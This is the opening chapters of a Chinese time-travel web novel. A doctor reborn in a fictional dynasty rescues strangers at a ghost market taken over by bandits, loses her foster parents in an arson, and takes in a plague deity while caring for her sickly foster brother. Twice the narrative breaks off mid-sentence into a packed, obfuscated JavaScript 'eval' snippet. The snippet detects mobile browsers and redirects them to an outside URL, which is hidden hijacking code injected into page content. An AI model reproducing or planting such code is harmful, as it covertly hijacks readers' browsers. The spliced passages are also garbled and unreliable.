《阿弟他又发病了》 1. 怪日 昀合二十五年，自沈半夏穿越到大晏，已经五载。 午后，沈半夏例行上栖云岭采药。 山路蜿蜒，因连日雨水泥泞不堪。拾级而上，她刚采了几株野牡丹，正欲换路前行，前方草丛忽然传来“簌簌”声响。 沈半夏眉头一挑，指尖微动，拈住藏于袖中的银针——针头萃过洋金花，浓度较高，可以让人麻木晕眩。 她低头拨开灌木，十步开外，两名青年前额贴着黄符，嘴里念念有词，目光呆滞—— 竟直愣愣地朝崖边走去… 沈半夏唰得起身，抄起手边的枝桠，一人一记敲在脑门上，接着又往二人膝窝各补一脚。 双膝抢地的疼痛最是钻心。待回过神来，二人已是满头盗汗，怔怔地瞪着一步之遥的深渊，双手向后撑着连连后退。 “醒啦？”沈半夏站在身后，甩了甩手里的树枝。 “在下柳翩生，多谢姑娘救命之恩！” 名唤柳翩生的公子双手抱拳，一身白绸青衫，衣襟微敞，宽大的袖口沾着泥斑。 “在下夏久，多谢姑娘救命之恩！” 另一位一身劲装短打，不似娇贵公子模样。相较面色稍缓的同伴，他仍眉头紧锁，额间渗出黄豆大的汗珠。 沈半夏端详片刻，从怀里摸出一粒药丸，直径塞他嘴里：“含着。” 片刻修整后，二人称是为寻鬼市而来，谁料林中转悠一整日，什么都没见着。 沈半夏挑眉，自己倒是这鬼市的熟客。 山中有一处偏僻之地，是市井传闻中的黑市，以物易物，无论是炼成的丹药还是日常物件都有机会获得。有时亦能换些糕点零嘴，哄得阿玉雀跃欢喜。 阿玉是沈半夏的阿弟，同她一道前后脚被养父母捡回了家。 穿越前，无国界医生沈半夏正在战乱边境抢救伤患，因撤退得晚了，被流弹击中当场殒命。再睁眼便成了流落山林的孤女。 奄奄一息之际，幸得被一对老夫妻救下，抚养至今。老两口无儿无女，日子过得紧紧巴巴，但淳朴好客，哪怕是路边遇到受伤的小兽，也要搭手喂点吃食。 自此一家四口，虽是啖淡饭，著粗衣，但胜在平安喜乐。 说回眼前二人想寻的鬼市。正因半夜而合，鸡鸣而散，才谓之鬼市。 沈半夏摸索着下巴，“谁家鬼魂光天化日瞎晃……” “阿久！你快看！”柳翩生跳脚惊呼，手指着沈半夏身后。 沈半夏大惊，一转头，夜间无数次造访的市集，竟真的在白日里出现了…… * 林间烟雾缭绕，往深处走，雾里隐约出现一条石板铺呈的长街。 柳翩生惊得张大了嘴，“……竟、竟真有鬼市？” 原本浓雾弥漫的山林间，红灯笼的微光影影绰绰，路旁隐约可见摊铺林立，稀疏人影浮动。 可没走两步，三人同时打了个寒战—— 这市集看似热闹，却静得出奇。 卖杂货的不吆喝，耍把式的不敲锣，商贩个个脸色发青，瞳孔涣散。 着实让人脚底生寒。 沈半夏跟在二人身后，蹙眉不语。从未见这般阴森景象，难道真的是七月半鬼门开，通向了阴曹地府？ 蓦地，一名佝偻着身子的老妪，穿过薄雾迎面而来。瘦骨嶙峋，穿着满是补丁的破布衣裳，手里端着个豁口的瓷碗，碗里盛着生米。 不等三人反应，老婆子突然扬手…… "晦气！"柳翩生连忙后退。夏久下意识地拽住他手臂将人拉至身后，挥袖挡住脸。只有沈半夏愣在原地，任由米粒落在衣襟上。 "不接引路米，难回阳道间！" 老妪发出尖锐诡异的笑声，直直地从三人中间撞出一道口子，与沈半夏擦肩而过。 “吓死人了！”柳翩生跺脚，扯着夏久的衣摆不敢放开。 三人继续往里走，在一摊位前驻足。 竹条支起的摊位架子上，坠着打结的红绳。摊主面无血色，看到有人靠近，缓慢地半抬起眼，张口发出粗沙砾般的声音：“换命红绳，绳缠命换生死。” “换命？怎么个换法？”柳翩生大着胆子，好奇地往前凑，伸手去拿摊位上的红绳。 “阿生！小心！” 原本坐在摊后一动不动的摊主突然起身，拿起红绳就朝柳翩生挥去，他动作奇快，眼看就要套住柳翩生的脑袋。 电光火石之间，夏久唰地抽出佩剑斩断绳索。可就在同时，他浑身一震，颈侧传来一阵密密麻麻的刺痛… 下一秒，二人缓缓倒下，闭眼前的一瞬，夏久好像看到了他们身后： 沈半夏手里捏着银针，面无表情地与他对视… * 见二人倒地昏迷，一黑一白扮做无常的彪形大汉立即拿小臂粗的麻绳将人捆好，掏出两块浸了药的破布团挨个塞嘴里。 待料理好二人，“黑无常”起身打量起了杵在原地一动不动的沈半夏。 眼前女子莫约二十来岁，因生得一副清冷的长相，一双桃花眼勾出的不是潋滟春光而是冬日凛冽。 “大哥，这个小娘子不是鬼市人，待我一并抓了去！”“黑无常”挥着粗绳跨步朝沈半夏走来，生生踩断几根横在地上的残枝。 沈半夏抿嘴不语，面上不动神色，冷汗早已浸湿后背，方才用掉了银针，现下不过是个手无缚鸡之力的弱女子。 “大人且慢！”红绳摊主赶忙上前，侧身拦在沈半夏和“黑无常”之间。 “小女上月下山寻她娘亲了，怪不得没和大人打过照面。”摊主转向“黑无常”，从怀里掏出一个棕色小瓶子举到胸前，“小的前日孝敬大人的，大人可还记得？” “我记得你！”“黑无常”手臂一挥，收起了绳索，“说来也怪，那玩意当真有奇效。” “是了！小女成日混迹山林，倒是学会捣鼓了些制药的方子…”摊主转头朝沈半夏使了个眼色，“快，拿出你的也给大人看看！” 沈半夏了然，从背篓里掏出药瓶递了过去。 “当真是一样。”“黑无常”将其置于鼻尖嗅了嗅，“既然如此，你带她回去吧。” 一直弯腰在柳、夏二人身上翻找的“白无常”此时也走了过来，接过“黑无常”抛来的瓶子收入袖中。 “大哥，可有发现？” “只在一人身上找到些寻常富家公子的配饰。”那人摇了摇头，扫了一眼沈半夏，突然将她拽到身前。 “你， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464342|169794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把背篓里的东西倒出来，然后当着我的面把身上的东西也翻出来！” 沈半夏被拽的一个踉跄，稍稳住身子后缓缓取下背篓。 新鲜的草药，随身的手帕，五六个半掌大的瓶瓶罐罐…和一包油纸包裹的饴糖。 是午后出门时，沈半夏给阿玉的另外半份，怕他贪嘴，打算留着后日再给他… “没有！”“黑无常”拨弄着地上散落的物件，又顺手挑了几个药瓶揣进兜里。 “走吧大哥，那群酒囊饭袋哪能真找到我们…” “白无常”终于点头，交代把抓来的人一并拖下去关押后，总算转身离去… 沈半夏盯着油纸有些出神，方才绷紧的神经总算松了下来，思绪回到今天出门的时候… “阿姐！” 瞧着沈半夏打算出门，屋里跑出一名的少年。少年身形消瘦，身着麻布制的破旧布衣。但面容生得白皙俊俏，乌黑的眼珠，如玛瑙般灵动。 少年跑到她跟前，眉眼弯弯，脸颊上有一对淡淡的酒窝，像盛着蜜糖似的，帮她背好竹制的背篓。背篓盖着一块蓝白相见的衬布，里边是少年精心备好的物件。 “谢谢阿玉。” 沈半夏抬手摸了摸少年的后脑勺，五年时光转瞬即逝，眼看着阿玉已经比沈半夏高了半个脑袋。 她突然想起什么似的，掏出一小包油纸，里边儿包着几颗饴糖。 “按时把药吃了，禁食到酉时方可喝水吃糖。” 阿玉乖乖点头，双手接过纸包，取出绢帕，小心翼翼地裹好后揣进怀里。 他身子弱，前几日受了凉，脾胃虚弱，被沈半夏盯着禁了食。 她这个阿弟素日里乖巧懂事得很，但就是怕苦，偏偏身子又弱离不开汤药。老人家耳根子软，一见阿玉委屈泛红的眼角，立马倒戈端着药碗又出来了。 于是家里也只有沈半夏铁石心肠，摁住人把药往桌上一放，面无表情盯着阿玉皱巴的脸，待他小口啜完才肯罢休，跟个受了惊的小兔子一样。对付小屁孩，武力镇压效果上乘，老祖宗诚不欺我，沈半夏心想。 “阿夏，等等。” 屋里又跟出来一个老妇人，是沈半夏和阿玉的养母，王氏。见沈半夏还没走，她松了口气，赶忙递上几张淡黄色的符纸。 “最近山上不太平，七月半，鬼门开，魍魉出。你爹上次去镇上，特地给你换了这个，说是贵人们驱邪用的……” 沈半夏笑着收下：“晓得了，谢谢阿娘。” 王氏见她敷衍，不放心继续叮嘱：“可别忘了贴脑门儿上。” * “半夏姑娘？半夏姑娘！” 摊主的声音把沈半夏叫回了神，当她一个小娘子吓破了胆。 “他们走了，姑娘快回吧！” “多谢大伯。”沈半夏欠身朝他行了个礼，弯腰一一拾起东西放回背篓，一边压低声音问道：“这…到底是怎么回事？” “半夏姑娘，也有月余没来鬼市了吧。”摊主叹气，“月初，一帮子山贼占了我们的地方，起初只是不让我们出摊，然后竟…” 说至此他顿时声咽气堵，强忍悲痛道：“后来他们扣押了我们家眷，逼得我们扮成这鬼模样，抓被引来的人…” 2. 迎，瘟神 意识回笼，夏久四肢瘫软，呼吸略带局促。他下意识想找佩剑，发现手脚被麻绳捆着，无法动弹。 他定了定神，打量起四周。隔壁柳翩生还昏迷着，同样被捆住了手脚。二人正在一间昏暗的屋子里，尘土飞扬，门窗紧闭，墙角垒着些看不清是何物的杂件。 “这、这是怎么回事……”柳翩生醒来后吓得赶紧往夏久身边挪，“我们、我们该不会是真的撞了鬼吧？” “刚才那位女子……”夏久低头思忖，如若不是遭她暗算，贼人定不能得手，都怪自己因被救了一命就放松警惕。 “哇！漂亮姐姐居然是妖女吗！”柳翩生哭丧着脸，“我还以为是救命的神仙呢……” “噤声！”夏久耳朵动了动，屋外传来窸窣声响，似是来人的脚步声。 门“吱呀”一声被推开，一名女子走进屋来，正是放倒了二人的沈半夏。 “你先别急着哭。” 沈半夏瞥了柳翩生一眼，见他泫然若泣，赶忙出声阻止。 “没时间解释，先跟我走。”沈半夏拎着夏久的佩剑，迅速斩断束缚二人的绳子。 夏久深深地看了她一眼，心下暗暗盘算，先前中的毒还没彻底散去，他此刻没有十足把握硬闯未知的魔窟。 沈半夏领着二人往门外跑去，三人猫着身子，蹑手蹑脚地前进。不料刚走出不远，就被一大汉拦住。 “半夏姑娘？”那人似乎是沈半夏的熟识，没有立刻抽刀挥过来。 “大牛，这二位是我的朋友，能否……” “既然如此，姑娘快走。”大汉听罢爽快地点了点头，侧身放行。 “哦对了！”刚走了没几步，沈半夏像是想起什么，转身递给大汉一个药瓶，“本打算过两日再给你拿来，夏季阴湿，记得嘱咐大娘少用凉茶。” “多谢沈姑娘！”大汉抱拳谢过。沈半夏这才继续带着二人偷偷摸了出去。 “总算出来了。”行至半山腰，柳翩生松了口气，揉了揉有些酸涩的手腕，“姑娘方才给那人的是药吗？” “你要尝尝？”沈半夏扔给他一个小瓶子。 夏久见了正想阻止，可柳翩生手比脑快，已经倒出一颗舔了舔，瞬间皱得鼻眼乱窜： “好腥…” “猪肝糜。”沈半夏没搭理，自顾自地继续往前走。 “为何要给那位大哥的娘亲这东西啊！” “老太太吃不了肝脏。”沈半夏驻足，转身看着此刻正细细打量药丸的柳翩生。 其实大牛的阿娘只是因长期营养不良导致的夜盲和佝偻，多吃些蔬菜和肉类脏器就好了。 动物下水不算矜贵，但这个时代，对大多百姓而言更难的是生存。大牛家里还有妻儿，她阿娘根本舍不得吃，就算熬成汤水也没用。 无奈之下沈半夏只好唬她是丹药，说是自己同大牛换的。 云溪村地处大晏南地，因背靠栖云岭而得名。栖云岭终年云雾缭绕，山间涓流汇成溪水，最终并入净河将村子半绕，本该是物阜民丰的膏腴之地。 然而，因太祖晚年妄求长生，沉迷炼丹问仙，举国上下趋之若鹜，农田归于官有，百姓种什么，种多少，皆需上呈批验，苛捐杂税压得穷人难以喘息。 “你们快走吧。”她看了看身后的二人，鬼市异变得着实蹊跷，她虽终日苦求疑难杂症的新鲜刺激，但更不想轻易惹祸上身，毕竟五年下来，她早不是孤家寡人，甚至拖家带口的。 夏久不语，只是定定地看着她，不太愿意善罢甘休。 “算了。”沈半夏叹气，柳翩生好糊弄但这个夏久着实有些麻烦。她从袖中掏出一张皱巴巴的纸条递给二人—— 鬼市生变，先助拿二人。 “记得那个朝我们撒米的阿婆吗？”沈半夏解释道：“她故意撞开我们，和我擦肩而过的时候塞我手里的。” “我阿妈和阿弟身子不好，我们也买不起药馆的药材。”沈半夏一边走一边继续说到。 “所以我常去鬼市拿草药换物，顺便……”她顿了顿，侧过身来打量二人不菲的行头，“顺便替人看病。” 惊讶于大晏医疗管制的严苛，手握几国执照的沈大医生只能当个黑市鬼医。 “我不清楚为什么鬼市变成这样……”沈半夏拿出从二人额头上摘下的黄符，“这个上面浸了迷魂药。先前就算我不出手，应该已经有人准备拿下二位。” “想搞清鬼市异变，夏公子不如从这黄符的来历查起。” 沈半夏耸了耸肩，心里默默道，这符跟筛选猎物的标记似的。 暮色四合，林间光线昏暗，三人一同往山下走去。 突然，柳翩生望着西南方向，惊呼出声。 “那火……怎地这般旺盛？” 远山处，一抹红光渐渐映入眼帘，沈半夏的心一瞬悬了起来—— 那火光腾起的方向，正是云溪村。 * 沈半夏一路狂奔，栖云岭绿树成荫，此刻繁茂的枝叶，反倒成了火灾的助燃剂。 村中多是吊脚楼与茅草屋，一点火星便能引燃整片屋舍。 沈半夏跌跌撞撞奔至村口，只一眼，便如坠冰窖—— 宛如惨烈的黑白画卷，目之所及一片狼藉，触目惊心。她疯了一般跑到自家门前，屋子被烧得只剩下焦黑的骨架，焦炭的刺激气味充斥着鼻腔。她踉跄着冲进屋内，在一堆残骸中，找到了张大和王氏的遗体。 奇怪的是，二人脸上竟无痛苦之色。 沈半夏浑身颤栗颤抖，指尖触电般地收回来。一个可怕的猜测在她的脑海里成型 ——莫不是火灾前，村里人就早被下毒… 倏地，她力气像被抽空，灵魂出窍般眼前慢慢模糊失去了焦距。 她跪坐在被烧得黢黑的地上，大滴大滴的眼泪无声滚落，砸在地上被炭灰染成黑水。 一家人…沈半夏瞳孔猛地一震—— 不对，阿玉呢？ 沈半夏手脚并用，跌跌撞撞朝尚未倒塌的那一头爬去，口中喃喃：“阿玉……阿玉可能还……” 那孩子体弱，中毒的话怕是早撑不住了。她发疯似地在烧焦的废墟中翻找，指甲撕裂，手上满是血污。 也不知过了多久，尘土漫天，沈半夏脱力地瘫软在地，胸膛剧烈地起伏—— 没有。 阿玉可能还活着。 她夺门而出，踩着残垣断壁，沿着昔日熟悉温馨，此刻面目全非的路挨个搜寻—— 溪边、林下、屋后、石桥旁…… 入夜后的村庄静得瘆人，唯有靠山的那头，山火未灭，仍旧烧得噼啪作响。 终于，在靠近溪流的鹅卵石岸上，她寻见了阿玉熟悉的身影。 浑身泥污的少年趴在石堆上，手里握着她留下的糖纸，身边滚落着一个破了半边的木盆。 沈半夏踉跄扑过去，手指颤抖着搭上少年的颈侧…… ——命定天算，早该是阎王殿前客咯！ “……谁？” 沈半夏瞳孔骤缩，猛一转身，可四下只有融入夜色的断壁残垣。 ——咦？这丫头能听见本座的声音了？ 刹那间，数道金光从阿玉心脏处绽开，刺目的光线照亮了整个云溪上空。 只见一名身着白袍的青年在光芒中缓缓现身，他发间随意挽着一支翠绿的烟斗，眼睑半阖，神色恹恹。 “你是何人？” 沈半夏被眼前之景吓得一楞，嘴唇微张一时间竟不知道作何反应。 就算前世她不信鬼神仙怪，可魂穿大晏的事实让她无可辩驳。 “你居然可以瞧见本座了？”青年登时睁开了眼。 沈半夏迟疑点了点头。 “太好了！五年了，该是小娘子前世的功德散尽咯。” 见沈半夏真能瞧见自个儿，此人顿时眉开眼笑，他生了一副圆润和善的模样，倒是不似凶神恶煞的厉鬼，至少，在外貌上。 “我前世的功德？” 抓住他话里重点，眼前之人，也可能不是人，竟知晓她的前世今生？原来这就是她迟到了五年的，金手指？ “然也。” 青年从半空中跳到地上，笑眯眯得踱步至沈半夏跟前。 “本座乃黄瘟仙人座下修行神子——“ 他一顿，双目上挑好一副得意模样， “瘟神子，是也！” "……" 沈半夏嘴角抽搐，不是说她前世功德吗？一枪爆头葬身异乡还不够惨，竟还被上身了一尊瘟神。 “那大仙这是要？” 沈半夏竭力压住面部神情，万一招惹了瘟神害了怀里生死未卜的阿玉就坏了。 “你个小丫头好生无礼，本座乃上仙，怎屑加害区区凡人。” “可您老不是降灾病的瘟神吗？”能洞悉人心，可能真是神仙。 “是瘟神子！” “了然，但从古至今民间习俗都是——送，瘟，神。” “好你个黄毛丫头，不敬上仙！” “那还请上仙救我阿弟性命！” “这就对了嘛”青年微微颔首，瞥了一眼她紧紧抱住怀里的少年，“本座不可随意干涉凡人寿命。” 沈半夏黯然，果然瘟神都是降灾的。 “好你个……”青年见她失魂落魄的模样气得发抖，“这少年人早该五年前就命数已尽，要不是被本座上身的你施以援手。” “上仙是说我可以救阿玉？”沈半夏打断他的话，方才黯下的眸光蓦地亮起。 “你必须救。”瘟神子笑道，“他与你命数已然纠缠在一起，你救他，更是救你自己。” “此话怎讲？” “本座乃五大瘟神之首黄瘟仙人座下，选中了你这个有缘的凡人。”、 瘟神子抖了抖白色道袍，负手绕着沈半夏二人踱步。 “你的命数，全靠本座续上。”他突然俯身凑到沈半夏眼前停住。 “你自然，要供奉本座。” “如何供奉？” “本座乃瘟神子，自然靠瘟病之气修行。” “要我投毒，引发大规模疫病供你修行？” “非也。” “要我杀人越货，炼就人间地狱供你吸食？” “休得一派胡言！” “那何来瘟病之气？” “本座是仙，自然只靠自发的瘟病之气修行。”瘟神子被沈半夏气得瞪大了眼。 “和你前世一般，”他摸了摸下颌，“要你悬壶济世，行医救人。” “每救治一人，本座便可吸食他溢出的瘟病之气。” “为何不能直接吸食病痛，岂不是更能救苍生于水火。” “本座是上仙，不可胁迫，哪怕是瘟病邪气。” 沈半夏点了点头，算是搞清了瘟神附身的代价 ——不仅没法力加成，还是个讨债系统。 “那我阿弟……” “无碍，你在鬼市救了人性命，可以续上。”瘟神子摆手，“但若你二人一月内无法继续供奉本座，可就……” 沈半夏低头看着怀中之人，双指继续搭上他的颈侧 ——果然还有脉搏。 她小心翼翼地将人翻过来楼在怀里，喉头哽咽，眼泪啪嗒啪嗒砸在少年的脸上，下意识地收紧手臂。 怀里的人发出轻轻呢喃：“阿…阿姐……” 沈半夏怔住，低头和阿玉对视。她已经很久很久没有看过这样狼狈的阿玉了——少年粉雕玉琢般的脸蛋，早已不复往昔般洁净，被浓烟和泥水染得黑黢黢的。 可她的阿玉，素来最喜欢干净。 他从不与村里孩子疯闹，性子安静乖顺，衣衫整洁。可能是因为体弱多病，他总喜欢安静地坐在屋檐下，眼神追着她走来走去。 五年前，二老用一个硬馒头把阿玉捡了回来。刚来时的阿玉，瘦的皮包骨头，衣衫下密密麻麻布满了大大小小的伤痕。跟沈半夏穿越前正在救治的灵沤国的难民小孩似的，脏兮兮的。 于是阿玉成了沈半夏穿越后收治的第一个病人。 阿玉虽然乖巧听话，但绝非一个省心的病人。常藏着忍着，宁肯疼得半夜蜷成一团，拽着她的衣角不放，也不吭一声。 沈半夏头疼，沈半夏不理解。小孩真是最难搞的患者。 有一日，她采药归来，看到阿玉在和邻居家的小孩对峙。沈半夏离得远，听不清楚二人的对话，只见对面的小男孩咧着嘴一脸挑衅，阿玉背对着他，小身板微微颤抖，双手收在胸前，大抵是护着什么，低着头不语。 突然，那东西被小男孩一把抢过。年幼的阿玉猛地抬头，用力地把对方掀翻在地，死死揪起他的衣襟，发出小兽般低声的怒吼。 阿玉拽得太紧，那人瞬间呼吸急促，脸色发绀，张大嘴却只能发出无声惊呼，眼中恐惧随着瞳孔一齐放大。 沈半夏上前一把拉开阿玉，这才看清他一双眼睛布满血丝，但在看到沈半夏的刹那褪去了狠戾，眼底湿意氤氲，眼角通红。怯生生的，手里拽着她送的糖。 “阿，阿姐，我…”少年吓坏了，似是怕极了被沈半夏嫌弃，小心翼翼拽着她的衣摆一动不动。 沈半夏没有看他，反而转身盯了邻居家小男孩半晌，她神色惯是淡然，一举一动带着些清冷感，吓得小男孩“哇”得大哭跑回了家。 后来她拜托王氏带着一大包糖上门赔罪，一大包，让不懂节制的小屁孩，牙疼了整宿。 自那以后，阿玉粘她更紧了。 “阿姐，沈…半夏…你…别哭…” 少年虚弱的呼唤让沈半夏回神，她看着怀中的少年。五年光景，他明明已经长高了许多，可抱起来，为何依旧单薄得让人心疼。 瘟神子不知何时消失了，大概是重新附上了自己或者阿玉的身。 忽然，一阵窸窸窣窣的脚步声传来，在这满地冤魂的废墟里显得格外瘆人。 沈半夏心头骤然一紧——不是天灾是人祸。那火是有人纵的，全村是被灭口的。 她不敢多想，立刻背起阿玉藏进最近的废墟里，屏住呼吸。待脚步声远去，沈半夏才敢猫着身子悄悄摸回家里，想看看是否能寻些有用的东西。 可屋内早已被烧得一干二净，翻了半天，竟只找到几枚铜板 她咬牙将铜板收起，草草葬了夫妇二人。她抹了把泪，回头望了眼满目疮痍的村子，这里不安全，纵使万般舍不得，她也不敢久留。 * 趁着夜色掩护，沈半夏背起阿玉，一路逃到了最近的县城——云合县。 大晏国夜间施行宵禁，夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464343|169794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间戒备森严，城门紧闭，二人只能先躲在城外的草垛里等待天亮。 “瘟神子？”四下无人，见阿玉虚弱睡了过去，她低声轻唤。 “救阿玉的算吗？” ——自然算，你和你阿弟的瘟病可是本座修炼的饕餮珍馐。 “……一把年纪了还是清淡些的好。” 破晓时分，沈半夏吃力地背着阿玉窜入进城商贩的马车，用干草掩住身体，混入了城内。 云合县是南地最热闹富庶的县城。长街十里，朱楼夹道，绣幡招摇如云。青石板上蹄声嘚嘚，马蹄声与吆喝声此起彼伏。 与云溪村的人间地狱截然不同。 阿玉在进城的马车上发了高热，神志愈发不清醒。 沈半夏只得将他藏入一处僻静的巷子里，拿干草挡着，叮嘱几句后匆匆离开，四下寻觅吃食和药材。可她没几个钱，只能先在摊边买了一个包子。 忽然，一道身影从旁窜出，沈半夏凑近一瞧，是个蓬头垢面的瘦小老乞丐。 大概是争夺地盘成功了，小老头得意洋洋地捻着胡须，三两下就把战利品往嘴里塞，不消片刻，涨得满脸通红，青筋暴起。 沈半夏皱眉，立刻冲过去捏住他的下颌，从手边垃圾堆里掏出一截竹片，径直往老头喉咙里捅，逼得他将方才吃进去的东西全部吐了出来。 好在吐得及时，老头缓过神来，一手撑墙，一边用力喘着粗气，“救命之恩，老头子铭记在心。” 沈半夏没空听他废话，径直问道：“大爷可知哪处可寻得药材？” 老头眼睛一亮，拍拍胸脯：“我带你去！且随我来！” 他领着沈半夏七拐八绕，来到镇中一家药馆的后巷，指了指墙根下的狗洞：“钻进去就是后院。” 沈半夏立马低身跟他钻了进去。二人偷偷摸入后院。她熟稔地辨识着草药，翻出些阿玉能用的药材。 这时，忽然传来一阵脚步声。 “快！”老头一把扯住她衣袖，躲进一边的柴房，轻轻掩上门。两人屏住呼吸。 “掌柜的，今儿药行那边又涨价了，说是西北的丹参进不了关…” “唉，”掌柜叹气，“战事吃紧……药材运输愈发难了。‘龙涎草’也被禁了，坊间黑市里倒是流窜的厉害，价值千金……” 沈半夏听得一怔。她记得这味药极其稀罕，然而寻常病症根本用不上，为何会在市面上疯抢？ 不等她慢慢琢磨，老头就扯着她袖子，示意人已离去，二人赶忙溜出后院。 回到小巷里，阿玉早醒了，披头散发，衣衫凌乱，手中握着一块碎石。 接着，他突然猛地抓起石块对准自己… “阿玉！”沈半夏大惊失色，立马飞扑过去一把将他手里的石头夺下。 阿玉一愣，随即猛地抱住她，瘦弱的身子剧烈颤抖，“阿姐……别丢下我……我以为你也不要我了……” 沈半夏的心脏被揪紧，只能紧紧回抱住他，顺着他的后背缓缓拍着，在他耳边喃喃：“别怕，我回来了。” 那老乞丐在一旁挠了挠头，小声说：“你们先跟我来吧，我有个地方能住。” 他所谓的“地方”，是一处驿站后头的破旧柴屋。 夜半，沈半夏蹲在缺了一根腿的破桌子前，望着跳动的烛光出神。 在大晏，医者药品皆受严管。药品归“药局”所管，行医需由“医局”颁证，医者必须有师门，方可挂号施诊。 阿玉的病，耽误不得。鬼市没了，药材无处可换；口袋里只剩几枚铜板，怕是连糊口都难。 还有个讨债的瘟神子。沈半夏眉头皱得更深了，不知如何才能喂得饱这位上仙。 ——世间百态愁苦之人比比皆是，酸甜苦辣应有尽有哟。 “那也得人人都让我治啊。” 她心下无语，自己本来也痴迷医理，最爱疑难杂症。然小女子徒有一身医术，没有师门根本无法进医馆坐诊行医； 用过药后，阿玉的高热总算退了。迷迷糊糊间醒来，就看到沈半夏孤零零地坐在那里，低着头，双手抱膝。 阿玉从怀中摸出一块玉佩，递到她面前。 “阿姐，拿去当了吧。” 沈半夏怔住。那块玉，是当年老夫妇死也不肯典当的东西，一是怕亲人寻他时，失了信物，二是……日后娶亲也许能用上。 “这……”她迟疑地望着阿玉。 “阿姐，我只有你了，我的命都是你的！”阿玉强硬地把玉佩塞进她手里，“阿姐，你是我的…是我的全部。” 沈半夏愣愣地看着他，微弱地火光在流动的空气中跳动着，阿玉漂亮的眼睛好似一汪湖水，深不见底却给她心安。 良久，沈半夏轻轻点头。 “好。我拿去换些药材，往后，我再想办法把它赎回来。” 她找了块破布仔细包好玉佩。她不识玉，只希望能多换点救命的药钱。 翌日一早，沈半夏独自前往镇中当铺。谁知，刚走至巷口，便撞上一个意想不到的人。 那人衣着华贵、面容俊秀，正是昨日在山中她救过的富家公子——柳翩生。 柳翩生一见她，眼眸一亮：“原来真的是姑娘！那日你走的太匆忙，我腿软根本追不上你！” 沈半夏没搭理他。柳翩生笑嘻嘻地跟了上来：“我还欠姑娘一命呢！你去哪，我陪你罢！” 沈半夏头疼不已，想着阿玉还在等药，二人正愁落脚之处，柳翩生腰间的配件哐哐当当惹人心烦。 她灵机一动，状似随口一问：“柳公子可有空宅子？” “自然有！”柳翩生立马点头，“镇南还有一处闲置的别院，不过不大，也很久没人入住了，怕是…。” 沈半夏立刻点头：“走！” 二人匆匆回到老乞丐的破屋子，沈半夏立刻冲进去把阿玉一把背起，准备动身，阿玉见她回来，眼睛一亮，“阿姐！” 可下一瞬，看清她身后跟着的贵气逼人的公子后，阿玉的眼神顿时暗了下去，死咬嘴角，眼色不善。 沈半夏自然是毫无察觉，她一心急着给阿玉寻一处干净舒适的屋子养病。入了别院，沈半夏赶忙向柳翩生道谢，随即慌忙前去后厨熬药。 院中只留二人，气氛微妙。 柳翩生倒是一直笑眯眯的。他干脆跟在沈半夏后面看她忙前忙后，“沈姑娘这般医术，当真扁鹊再世。只是大晏医馆需有师门挂靠，不过在下有一记。” “还请柳公子指点一二。” 沈半夏一听，搁下煽火的蒲团，起身转向柳翩生。 “虽入不了医馆，但姑娘可同在鬼市里一样，当个江湖郎中，摆个摊。” “好主意！”沈半夏点头，心下一喜，当了三四年鬼市黑医，江湖郎中的岗她自然熟悉。 “如果需要，我可替姑娘担保抓药！”柳翩生拍了拍自个儿刻意挺起的胸脯。 沈半夏连连道谢，突然间看到了点希望。 ——好主意，江湖奇人异事更加有趣，不知道能不能吃到奇珍。 然后，沈半夏身后，阿玉面色不善地盯着柳翩生，那眼神凶狠得像个自己领地被入侵了的受伤小兽。 咬牙切齿，却又无力反驳，只能心里怒道—— 他就知道，这柳翩生来者不善！ 3. 心安 沈半夏的江湖摊子支起来已有几日。 这几日，她每日按时出摊，将药箱摆得整整齐齐，贴好阿玉精心题画的幕帘，连价钱都比街对面的老郎中便宜三文。 可江湖郎中众多，天花乱坠的咒符，下料贼猛的药酒，口若悬河的老道士都能唬住患者三分。 反观沈半夏，不过是个年纪不大的小娘子，模样虽好，可谁会相信一个黄毛丫头？ 更别提偶尔某个上仙还在耳侧催债。 摊前冷冷清清，一日都来不了几人，勉强糊口都难，更别提阿玉缺不得的药材钱。沈半夏发愁，见着个面色不愈的过路人都眼冒红光，又因片刻后其恢复如常遗憾离场… 可阿玉却很满足。 他每日守着沈半夏，帮她支伞、搬凳，哪怕只是坐着看她给人搭脉，他那惯是苍白的脸色都泛起了红晕。 ——因为阿姐陪着他的时间更多了。 阿玉就这么日日盯着沈半夏发呆。前些日子高热不退，那段恐怖如梦魇般的记忆又疯狂地在夜里折磨他—— 梦里那个女人，是他的母亲，大晏曾经的皇后。 疯癫、暴戾，永远双目赤红。她不曾抱过他，甚至不曾朝他笑过。她会让下人一勺勺地给他灌下苦涩的药汤。然后，他就开始高热，手脚抽搐，头昏脑胀。 似乎只有这样，他才能短暂地见到父皇——那个总是神情冷漠的男人。 他不敢叫，更不敢哭，怕父皇嫌他吵。 可不知何时起，即便病得快断气了，那个男人也不再来过。 母后彻底疯了，告诉他，父皇不要他了。 再后来，奶娘深夜闯入寝宫，裹着他逃跑。她一手抱着他，一手推开沉重的宫门，他回头望见母后倒在床榻上，浓妆艳抹，嘴角噙着癫狂的笑容，一动不动。 奶娘带着他逃出了皇城，随商队一路南下，他们东躲西藏，不敢暴露身份。可命运如同扼紧他咽喉的手，终究还是追上了他们。 